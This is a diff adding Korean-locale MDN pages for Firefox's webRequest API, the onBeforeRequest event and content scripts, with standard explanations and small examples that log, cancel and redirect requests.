+<p>You can read details of the TLS handshake, but can't modify them or override the browser's trust decisions.</p>
+
+<h2 id="Modifying_responses">Modifying responses</h2>
+
+<p>To modify the HTTP response bodies for a request, call {{WebExtAPIRef("webRequest.filterResponseData")}}, passing it the ID of the request. This returns a {{WebExtAPIRef("webRequest.StreamFilter")}} object that you can use to examine and modify the data as it is received by the browser.</p>
+
+<p>To do this, you must have the "webRequestBlocking" API permission as well as the "webRequest" <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#API_permissions">API permission</a> and the <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions">host permission </a>for the relevant host.</p>
+
+<h2 id="Types">Types</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("webRequest.BlockingResponse")}}</dt>
+ <dd>
+ <p>An object of this type is returned by event listeners that have set <code>"blocking"</code> in their <code>extraInfoSpec</code> argument. By setting particular properties in <code>BlockingResponse</code>, the listener can modify network requests.</p>
+ </dd>
+ <dt>{{WebExtAPIRef("webRequest.CertificateInfo")}}</dt>
+ <dd>An object describing a single X.509 certificate.</dd>
+ <dt>{{WebExtAPIRef("webRequest.HttpHeaders")}}</dt>
+ <dd>An array of HTTP headers. Each header is represented as an object with two properties: <code>name</code> and either <code>value</code> or <code>binaryValue</code>.</dd>
+ <dt>{{WebExtAPIRef("webRequest.RequestFilter")}}</dt>
+ <dd>An object describing filters to apply to webRequest events.</dd>
+ <dt>{{WebExtAPIRef("webRequest.ResourceType")}}</dt>
+ <dd>Represents a particular kind of resource fetched in a web request.</dd>
+ <dt>{{WebExtAPIRef("webRequest.SecurityInfo")}}</dt>
+ <dd>An object describing the security properties of a particular web request.</dd>
+ <dt>{{WebExtAPIRef("webRequest.StreamFilter")}}</dt>
+ <dd>An object that can be used to monitor and modify HTTP responses while they are being received.</dd>
+ <dt>{{WebExtAPIRef("webRequest.UploadData")}}</dt>
+ <dd>Contains data uploaded in a URL request.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES", "webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES")}}</dt>
+ <dd>The maximum number of times that <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/WebRequest/handlerBehaviorChanged" title="Suppose an add-on's job is to block web requests against a pattern, and the following scenario happens:"><code>handlerBehaviorChanged()</code></a></code> can be called in a 10 minute period.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("webRequest.handlerBehaviorChanged()")}}</dt>
+ <dd>This method can be used to ensure that event listeners are applied correctly when pages are in the browser's in-memory cache.</dd>
+ <dt>{{WebExtAPIRef("webRequest.filterResponseData()")}}</dt>
+ <dd>Returns a {{WebExtAPIRef("webRequest.StreamFilter")}} object for a given request.</dd>
+ <dt>{{WebExtAPIRef("webRequest.getSecurityInfo()")}}</dt>
+ <dd>Gets detailed information about the <a href="/en-US/docs/Glossary/TLS">TLS</a> connection associated with a given request.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("webRequest.onBeforeRequest")}}</dt>
+ <dd>Fired when a request is about to be made, and before headers are available. This is a good place to listen if you want to cancel or redirect the request.</dd>
+ <dt>{{WebExtAPIRef("webRequest.onBeforeSendHeaders")}}</dt>
+ <dd>Fired before sending any HTTP data, but after HTTP headers are available. This is a good place to listen if you want to modify HTTP request headers.</dd>
+ <dt>{{WebExtAPIRef("webRequest.onSendHeaders")}}</dt>
+ <dd>Fired just before sending headers. If your add-on or some other add-on modified headers in <code>{{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}}</code>, you'll see the modified version here.</dd>
+ <dt>{{WebExtAPIRef("webRequest.onHeadersReceived")}}</dt>
+ <dd>Fired when the HTTP response headers associated with a request have been received. You can use this event to modify HTTP response headers.</dd>
+ <dt>{{WebExtAPIRef("webRequest.onAuthRequired")}}</dt>
+ <dd>Fired when the server asks the client to provide authentication credentials. The listener can do nothing, cancel the request, or supply authentication credentials.</dd>
+ <dt>{{WebExtAPIRef("webRequest.onResponseStarted")}}</dt>
+ <dd>Fired when the first byte of the response body is received. For HTTP requests, this means that the status line and response headers are available.</dd>
+ <dt>{{WebExtAPIRef("webRequest.onBeforeRedirect")}}</dt>
+ <dd>Fired when a server-initiated redirect is about to occur.</dd>
+ <dt>{{WebExtAPIRef("webRequest.onCompleted")}}</dt>
+ <dd>Fired when a request is completed.</dd>
+ <dt>{{WebExtAPIRef("webRequest.onErrorOccurred")}}</dt>
+ <dd>Fired when an error occurs.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("webextensions.api.webRequest")}}</p>
+
+<p> </p>
+
+<p><a href="/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities#webRequest_incompatibilities">Extra notes on Chrome incompatibilities</a>.</p>
+
+<p> </p>
+
+<p>{{WebExtExamples("h2")}}</p>
+
+<div class="note"><strong>Acknowledgments</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/webRequest"><code>chrome.webRequest</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/web_request.json"><code>web_request.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.html b/files/ko/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.html
new file mode 100644
index 0000000000..ecc9e9be39
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.html
@@ -0,0 +1,239 @@
+---
+title: webRequest.onBeforeRequest
+slug: Mozilla/Add-ons/WebExtensions/API/webRequest/onBeforeRequest
+translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest/onBeforeRequest
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>This event is triggered when a request is about to be made, and before headers are available. This is a good place to listen if you want to cancel or redirect the request.</p>
+
+<p>To cancel or redirect the request, first include <code>"blocking"</code> in the <code>extraInfoSpec</code> array argument to <code>addListener()</code>. Then, in the listener function, return a {{WebExtAPIRef("webRequest.BlockingResponse", "BlockingResponse")}} object, setting the appropriate property:</p>
+
+<ul>
+ <li>to cancel the request, include a property <code>cancel</code> with the value <code>true</code>.</li>
+ <li>to redirect the request, include a property <code>redirectUrl</code> with the value set to the URL to which you want to redirect.</li>
+</ul>
+
+<p>From Firefox 52 onwards, instead of returning <code>BlockingResponse</code>, the listener can return a <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code> which is resolved with a <code>BlockingResponse</code>. This enables the listener to process the request asynchronously.</p>
+
+<p>If you use <code>"blocking"</code>, you must have the <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#API_permissions">"webRequestBlocking" API permission</a> in your manifest.json.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox brush:js">browser.webRequest.onBeforeRequest.addListener(
+  listener,             // function
+  filter,               //  object
+  extraInfoSpec         //  optional array of strings
+)
+browser.webRequest.onBeforeRequest.removeListener(listener)
+browser.webRequest.onBeforeRequest.hasListener(listener)
+</pre>
+
+<p>Events have three functions:</p>
+
+<dl>
+ <dt><code>addListener(callback, filter, extraInfoSpec)</code></dt>
+ <dd>Adds a listener to this event.</dd>
+ <dt><code>removeListener(listener)</code></dt>
+ <dd>Stop listening to this event. The <code>listener</code> argument is the listener to remove.</dd>
+ <dt><code>hasListener(listener)</code></dt>
+ <dd>Check whether <code>listener</code> is registered for this event. Returns <code>true</code> if it is listening, <code>false</code> otherwise.</dd>
+</dl>
+
+<h2 id="리스너_등록_문법">리스너 등록 문법</h2>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>
+ <p>Function that will be called when this event occurs. The function will be passed the following arguments:</p>
+
+ <dl class="reference-values">
+  <dt><code>details</code></dt>
+  <dd><a href="#details"><code>object</code></a>. Details about the request. See <code><a href="#details">details</a></code> below.</dd>
+ </dl>
+
+ <p>Returns: {{WebExtAPIRef('webRequest.BlockingResponse')}}. If <code>"blocking"</code> is specified in the <code>extraInfoSpec</code> parameter, the event listener should return a <code>BlockingResponse</code> object, and can set either its <code>cancel</code> or its <code>redirectUrl</code> properties. From Firefox 52 onwards, instead of returning <code>BlockingResponse</code>, the listener can return a <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code> which is resolved with a <code>BlockingResponse</code>. This enables the listener to process the request asynchronously.</p>
+ </dd>
+ <dt><code>filter</code></dt>
+ <dd>{{WebExtAPIRef('webRequest.RequestFilter')}}. A filter that restricts the events that will be sent to this listener.</dd>
+ <dt><code>extraInfoSpec</code>{{optional_inline}}</dt>
+ <dd><code>array</code> of <code>string</code>. <span class="im">Extra options for the event. You can pass any of the following values:</span></dd>
+ <dd>
+ <ul>
+  <li><code>"blocking"</code>: make the request synchronous, so you can cancel or redirect the request</li>
+  <li><span class="im"><code>"requestBody"</code>: include <code>requestBody</code> in the <code>details</code> object passed to the listener</span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="추가적인_객체">추가적인 객체</h2>
+
+<h3 id="details">details</h3>
+
+<dl class="reference-values">
+ <dt><code>requestId</code></dt>
+ <dd><code>string</code>. The ID of the request. Request IDs are unique within a browser session, so you can use them to relate different events associated with the same request.</dd>
+ <dt><code>url</code></dt>
+ <dd><code>string</code>. Target of the request.</dd>
+ <dt><code>method</code></dt>
+ <dd><code>string</code>. Standard HTTP method: for example, "GET" or "POST".</dd>
+ <dt><code>frameId</code></dt>
+ <dd><code>integer</code>. Zero if the request happens in the main frame; a positive value is the ID of a subframe in which the request happens. If the document of a (sub-)frame is loaded (<code>type</code> is <code>main_frame</code> or <code>sub_frame</code>), <code>frameId</code> indicates the ID of this frame, not the ID of the outer frame. Frame IDs are unique within a tab.</dd>
+ <dt><code>parentFrameId</code></dt>
+ <dd><code>integer</code>. ID of the frame that contains the frame which sent the request. Set to -1 if no parent frame exists.</dd>
+ <dt><code>requestBody</code>{{optional_inline}}</dt>
+ <dd><code>object</code>. Contains the HTTP request body data. Only provided if <code>extraInfoSpec</code> contains <code>"requestBody"</code>.</dd>
+ <dd>
+ <dl class="reference-values">
+  <dt><code>error</code>{{optional_inline}}</dt>
+  <dd><code>string</code>. This is set if any errors were encountered when obtaining request body data.</dd>
+  <dt><code>formData</code>{{optional_inline}}</dt>
+  <dd><code>object</code>. This object is present if the request method is POST and the body is a sequence of key-value pairs encoded in UTF-8 as either "multipart/form-data" or "application/x-www-form-urlencoded".</dd>
+  <dd>It is a dictionary in which each key contains the list of all values for that key. For example: <code>{'key': ['value1', 'value2']}</code>. If the data is of another media type, or if it is malformed, the object is not present.</dd>
+  <dt><code>raw</code>{{optional_inline}}</dt>
+  <dd><code>array</code> of <code>{{WebExtAPIRef('webRequest.UploadData')}}</code>. If the request method is PUT or POST, and the body is not already parsed in <code>formData</code>, then this array contains the unparsed request body elements.</dd>
+ </dl>
+ </dd>
+ <dt><code>tabId</code></dt>
+ <dd><code>integer</code>. ID of the tab in which the request takes place. Set to -1 if the request isn't related to a tab.</dd>
+ <dt><code>type</code></dt>
+ <dd>{{WebExtAPIRef('webRequest.ResourceType')}}. The type of resource being requested: for example, "image", "script", "stylesheet".</dd>
+ <dt><code>timeStamp</code></dt>
+ <dd><code>number</code>. The time when this event fired, in <a href="https://en.wikipedia.org/wiki/Unix_time">milliseconds since the epoch</a>.</dd>
+ <dt><code>originUrl</code></dt>
+ <dd><code>string</code>. URL of the resource that triggered this request. Note that this may not be the same as the URL of the page into which the requested resource will be loaded. For example, if a document triggers a load in a different window through the <a href="/en-US/docs/Web/HTML/Element/a#attr-target">target attribute of a link</a>, or a CSS document includes an image using the <a href="/en-US/docs/Web/CSS/url#The_url()_functional_notation"><code>url()</code> functional notation</a>, then this will be the URL of the original document or of the CSS document, respectively.</dd>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.api.webRequest.onBeforeRequest", 10)}}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>This code logs the URL for every resource requested which matches the <a href="/en-US/Add-ons/WebExtensions/Match_patterns#&lt;all_urls>">&lt;all_urls&gt;</a> pattern:</p>
+
+<pre class="brush: js">function logURL(requestDetails) {
+  console.log("Loading: " + requestDetails.url);
+}
+
+browser.webRequest.onBeforeRequest.addListener(
+  logURL,
+  {urls: ["&lt;all_urls&gt;"]}
+);</pre>
+
+<p>This code cancels requests for images that are made to URLs under "https://mdn.mozillademos.org/" (to see the effect, visit any page on MDN that contains images, such as <a href="/en-US/docs/Mozilla/Firefox/Developer_Edition">Firefox Developer Edition</a>):</p>
+
+<pre class="brush: js">// match pattern for the URLs to redirect
+var pattern = "https://mdn.mozillademos.org/*";
+
+// cancel function returns an object
+// which contains a property `cancel` set to `true`
+function cancel(requestDetails) {
+  console.log("Canceling: " + requestDetails.url);
+  return {cancel: true};
+}
+
+// add the listener,
+// passing the filter argument and "blocking"
+browser.webRequest.onBeforeRequest.addListener(
+  cancel,
+  {urls: [pattern], types: ["image"]},
+  ["blocking"]
+);
+</pre>
+
+<p>This code replaces, by redirection, all network requests for images that are made to URLs under "https://mdn.mozillademos.org/" (to see the effect, visit any page on MDN that contains images, such as <a href="/en-US/docs/Mozilla/Firefox/Developer_Edition">Firefox Developer Edition</a>):</p>
+
+<pre class="brush: js">// match pattern for the URLs to redirect
+var pattern = "https://mdn.mozillademos.org/*";
+
+// redirect function
+// returns an object with a property `redirectURL`
+// set to the new URL
+function redirect(requestDetails) {
+  console.log("Redirecting: " + requestDetails.url);
+  return {
+    redirectUrl: "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif"
+  };
+}
+
+// add the listener,
+// passing the filter argument and "blocking"
+browser.webRequest.onBeforeRequest.addListener(
+  redirect,
+  {urls:[pattern], types:["image"]},
+  ["blocking"]
+);</pre>
+
+<p>This code is exactly like the previous example, except that the listener handles the request asynchronously. It returns a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code> that sets a timer, and resolves with the redirect URL when the timer expires:</p>
+
+<pre class="brush: js">// match pattern for the URLs to redirect
+var pattern = "https://mdn.mozillademos.org/*";
+
+// URL we will redirect to
+var redirectUrl = "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif";
+
+// redirect function returns a Promise
+// which is resolved with the redirect URL when a timer expires
+function redirectAsync(requestDetails) {
+  console.log("Redirecting async: " + requestDetails.url);
+  var asyncCancel = new Promise((resolve, reject) =&gt; {
+    window.setTimeout(() =&gt; {
+      resolve({redirectUrl});
+    }, 2000);
+  });
+
+  return asyncCancel;
+}
+
+// add the listener,
+// passing the filter argument and "blocking"
+browser.webRequest.onBeforeRequest.addListener(
+  redirectAsync,
+  {urls: [pattern], types: ["image"]},
+  ["blocking"]
+);</pre>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/webRequest#event-onBeforeRequest"><code>chrome.webRequest</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/web_request.json"><code>web_request.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/content_scripts/index.html b/files/ko/mozilla/add-ons/webextensions/content_scripts/index.html
new file mode 100644
index 0000000000..7d1c49e05a
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/content_scripts/index.html
@@ -0,0 +1,479 @@
+---
+title: Content scripts
+slug: Mozilla/Add-ons/WebExtensions/Content_scripts
+translation_of: Mozilla/Add-ons/WebExtensions/Content_scripts
+---
+<div>{{AddonSidebar}}</div>
+
+<p>A content script is a part of your extension that runs in the context of a particular web page (as opposed to background scripts which are part of the extension, or scripts which are part of the web site itself, such as those loaded using the {{HTMLElement("script")}} element).</p>
+
+<p><a href="/en-US/Add-ons/WebExtensions/Background_scripts">Background scripts</a> can access all the <a href="/en-US/Add-ons/WebExtensions/API">WebExtension JavaScript APIs</a>, but they can't directly access the content of web pages. So if your extension needs to do that, you need content scripts.</p>
+
+<p>Just like the scripts loaded by normal web pages, content scripts can read and modify the content of their pages using the standard DOM APIs.</p>
+
+<p>Content scripts can only access <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#WebExtension_APIs">a small subset of the WebExtension APIs</a>, but they can <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#Communicating_with_background_scripts">communicate with background scripts</a> using a messaging system, and thereby indirectly access the WebExtension APIs.</p>
+
+<div class="note">
+<p>Note that content scripts are blocked on the following domains: accounts-static.cdn.mozilla.net, accounts.firefox.com, addons.cdn.mozilla.net, addons.mozilla.org, api.accounts.firefox.com, content.cdn.mozilla.net, content.cdn.mozilla.net, discovery.addons.mozilla.org, input.mozilla.org, install.mozilla.org, oauth.accounts.firefox.com, profile.accounts.firefox.com, support.mozilla.org, sync.services.mozilla.com, and testpilot.firefox.com. If you try to inject a content script into a page in these domains, it will fail and the page will log a <a href="/en-US/docs/Web/HTTP/CSP">CSP</a> error.</p>
+
+<p>As these restrictions include addons.mozilla.org, users may attempt to use your extension immediately after installation and find it doesn't work. You may want to add an appropriate warning or an <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/onboarding_upboarding_offboarding_best_practices">onboarding page</a> that moves users away from addons.mozilla.org.</p>
+</div>
+
+<div class="note">
+<p>Values added to the global scope of a content script with <code>var foo</code> or <code>window.foo = "bar"</code> may disappear due to bug <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1408996">1408996</a>.</p>
+</div>
+
+<h2 id="Loading_content_scripts">Loading content scripts</h2>
+
+<p>You can load a content script into a web page in one of three ways:</p>
+
+<ol>
+ <li><strong>at install time, into pages that match URL patterns:</strong> using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code> key in your manifest.json, you can ask the browser to load a content script whenever the browser loads a page whose URL <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Match_patterns">matches a given pattern</a>.</li>
+ <li><strong>at runtime, into pages that match URL patterns:</strong> using the {{WebExtAPIRef("contentScripts")}} API, you can ask the browser to load a content script whenever the browser loads a page whose URL <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Match_patterns">matches a given pattern</a>. This is just like method (1), except you can add and remove content scripts at runtime.</li>
+ <li><strong>at runtime, into specific tabs:</strong> using the <code><a href="/en-US/Add-ons/WebExtensions/API/Tabs/executeScript">tabs.executeScript()</a></code> API, you can load a content script into a specific tab whenever you want: for example, in response to the user clicking on a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a>.</li>
+</ol>
+
+<p>There is only one global scope per frame per extension, so variables from one content script can directly be accessed by another content script, regardless of how the content script was loaded.</p>
+
+<p>Using methods (1) and (2) you can only load scripts into pages whose URLs can be represented using a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns">match pattern</a>. Using method (3), you can also load scripts into pages packaged with your extension, but you can't load scripts into privileged browser pages like "about:debugging" or "about:addons".</p>
+
+<h2 id="Content_script_environment">Content script environment</h2>
+
+<h3 id="DOM_access">DOM access</h3>
+
+<p>Content scripts can access and modify the page's DOM, just like normal page scripts can. They can also see any changes that were made to the DOM by page scripts.</p>
+
+<p>However, content scripts get a "clean view of the DOM". This means:</p>
+
+<ul>
+ <li>content scripts cannot see JavaScript variables defined by page scripts</li>
+ <li>if a page script redefines a built-in DOM property, the content script will see the original version of the property, not the redefined version.</li>
+</ul>
+
+<p>In Gecko, this behavior is called <a href="/en-US/docs/Xray_vision">Xray vision</a>.</p>
+
+<p>For example, consider a web page like this:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta http-equiv="content-type" content="text/html; charset=utf-8" /&gt;
+  &lt;/head&gt;
+
+  &lt;body&gt;
+    &lt;script src="page-scripts/page-script.js"&gt;&lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>The script "page-script.js" does this:</p>
+
+<pre class="brush: js">// page-script.js
+
+// add a new element to the DOM
+var p = document.createElement("p");
+p.textContent = "This paragraph was added by a page script.";
+p.setAttribute("id", "page-script-para");
+document.body.appendChild(p);
+
+// define a new property on the window
+window.foo = "This global variable was added by a page script";
+
+// redefine the built-in window.confirm() function
+window.confirm = function() {
+  alert("The page script has also redefined 'confirm'");
+}</pre>
+
+<p>Now an extension injects a content script into the page:</p>
+
+<pre class="brush: js">// content-script.js
+
+// can access and modify the DOM
+var pageScriptPara = document.getElementById("page-script-para");
+pageScriptPara.style.backgroundColor = "blue";
+
+// can't see page-script-added properties
+console.log(window.foo);  // undefined
+
+// sees the original form of redefined properties
+window.confirm("Are you sure?"); // calls the original window.confirm()</pre>
+
+<p>The same is true in reverse: page scripts can't see JavaScript properties added by content scripts.</p>
+
+<p>All this means that the content script can rely on DOM properties behaving predictably, and doesn't have to worry about variables it defines clashing with variables defined in the page script.</p>
+
+<p>One practical consequence of this behavior is that a content script won't have access to any JavaScript libraries loaded by the page. So for example, if the page includes jQuery, the content script won't be able to see it.</p>
+
+<p>If a content script does want to use a JavaScript library, then the library itself should be injected as a content script alongside the content script that wants to use it:</p>
+
+<pre class="brush: json">"content_scripts": [
+  {
+    "matches": ["*://*.mozilla.org/*"],
+    "js": ["jquery.js", "content-script.js"]
+  }
+]</pre>
+
+<p>Note that Firefox provides some APIs that enable content scripts to access JavaScript objects created by page scripts and to expose their own JavaScript objects to page scripts. See <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Sharing_objects_with_page_scripts">Sharing objects with page scripts</a> for more details.</p>
+
+<h3 id="WebExtension_APIs">WebExtension APIs</h3>
+
+<p>In addition to the standard DOM APIs, content scripts can use the following WebExtension APIs:</p>
+
+<p>From <code><a href="/en-US/Add-ons/WebExtensions/API/extension">extension</a></code>:</p>
+
+<ul>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/extension#getURL()">getURL()</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/extension#inIncognitoContext">inIncognitoContext</a></code></li>
+</ul>
+
+<p>From <code><a href="/en-US/Add-ons/WebExtensions/API/runtime">runtime</a></code>:</p>
+
+<ul>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#connect()">connect()</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#getManifest()">getManifest()</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#getURL()">getURL()</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#onConnect">onConnect</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#onMessage">onMessage</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#sendMessage()">sendMessage()</a></code></li>
+</ul>
+
+<p>From <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n">i18n</a></code>:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/getMessage">getMessage()</a></code></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/getAcceptLanguages">getAcceptLanguages()</a></code></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/getUILanguage">getUILanguage()</a></code></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/detectLanguage">detectLanguage()</a></code></li>
+</ul>
+
+<p>From <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/menus">menus</a></code>:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/menus/getTargetElement">getTargetElement</a></code></li>
+</ul>
+
+<p>Everything from <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage">storage</a></code>.</p>
+
+<h3 id="XHR_and_Fetch">XHR and Fetch</h3>
+
+<p>Content scripts can make requests using the normal <code><a href="/en-US/docs/Web/API/XMLHttpRequest">window.XMLHttpRequest</a></code> and <code><a href="/en-US/docs/Web/API/Fetch_API">window.fetch()</a></code> APIs.</p>
+
+<p>Content scripts get the same cross-domain privileges as the rest of the extension: so if the extension has requested cross-domain access for a domain using the <code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code> key in manifest.json, then its content scripts get access that domain as well.</p>
+
+<p>This is accomplished by exposing more privileged XHR and fetch instances in the content script, which has the side-effect of not setting the <code><a href="/en-US/docs/Web/HTTP/Headers/Origin">Origin</a></code> and <code><a href="/en-US/docs/Web/HTTP/Headers/Referer">Referer</a></code> headers like a request from the page itself would, this is often preferable to prevent the request from revealing its cross-orign nature. From version 58 onwards extensions that need to perform requests that behave as if they were sent by the content itself can use  <code>content.XMLHttpRequest</code> and <code>content.fetch()</code> instead. For cross-browser extensions their presence must be feature-detected.</p>
+
+<h2 id="Communicating_with_background_scripts">Communicating with background scripts</h2>
+
+<p>Although content scripts can't directly use most of the WebExtension APIs, they can communicate with the extension's background scripts using the messaging APIs, and can therefore indirectly access all the same APIs that the background scripts can.</p>
+
+<p>There are two basic patterns for communicating between the background scripts and content scripts: you can send one-off messages, with an optional response, or you can set up a longer-lived connection between the two sides, and use that connection to exchange messages.</p>
+
+<h3 id="One-off_messages">One-off messages</h3>
+
+<p>To send one-off messages, with an optional response, you can use the following APIs:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
